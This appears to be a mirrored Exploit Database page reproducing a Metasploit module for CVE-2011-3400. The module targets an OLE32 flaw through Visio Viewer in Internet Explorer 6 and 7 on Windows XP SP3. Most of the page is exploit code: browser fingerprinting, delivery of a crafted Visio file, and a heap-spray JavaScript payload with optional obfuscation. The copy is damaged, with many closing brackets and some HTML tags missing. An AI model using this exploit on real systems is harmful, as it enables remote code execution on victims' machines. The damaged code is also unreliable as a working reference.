Microsoft Windows – OLE Object File Handling Remote Code Execution (Metasploit)

Exploit Database
106 阅读

作者： Metasploit

日期： 2012-06-06
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19002/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",

'Description'=> %q{

This module exploits a type confusion vulnerability in the OLE32 component of

Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple

function.

A Visio document with a specially crafted Summary Information Stream embedded allows

to get remote code execution through Internet Explorer, on systems with Visio Viewer

installed.

'License'=> MSF_LICENSE,

'Author' =>

[

'Luigi Auriemma', # Vulnerability discovery and PoC

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2011-3400' ],

[ 'OSVDB', '77663'],

[ 'BID', '50977' ],

[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],

[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00",

'DisableNops' => true

'DefaultOptions'=>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ],

[

'IE 6 on Windows XP SP3 / Visio Viewer 2010',

{

'Offset'=> '0x7ee - code.length',

'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header

}

[

'IE 7 on Windows XP SP3 / Visio Viewer 2010',

{

'Offset'=> '0x7ee - code.length',

'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header

}

]

'Privileged' => false,

'DisclosureDate' => "Dec 13 2011",

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

# If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1]# IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2]# IE 7 on Windows XP SP3

else

return nil

end

def exploit

@vsd = create_vsd

super

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent}")

send_not_found(cli)

return

end

print_status("Client requesting: #{request.uri}")

if request.uri =~ /\.vsd$/

@vsd[5106, 2] = my_target['PtrToHeap']

print_status("Sending Exploit VSD")

send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })

return

end

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_pivot = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x1e0; i++) {

heap_obj.alloc(block);

}

js_pivot = heaplib(js_pivot, {:noobfu => true})

if datastore['OBFUSCATE']

js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)

js_pivot.obfuscate

end

vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"

html = %Q|

<html>

<head>

#{js_pivot}

</script>

</head>

<body>

</object>

</body>

</html>

html = html.gsub(/^\t\t/, '')

print_status("Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

def create_vsd

path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )

fd = ::File.open( path, "rb" )

vsd = fd.read(fd.stat.size)

fd.close

return vsd

end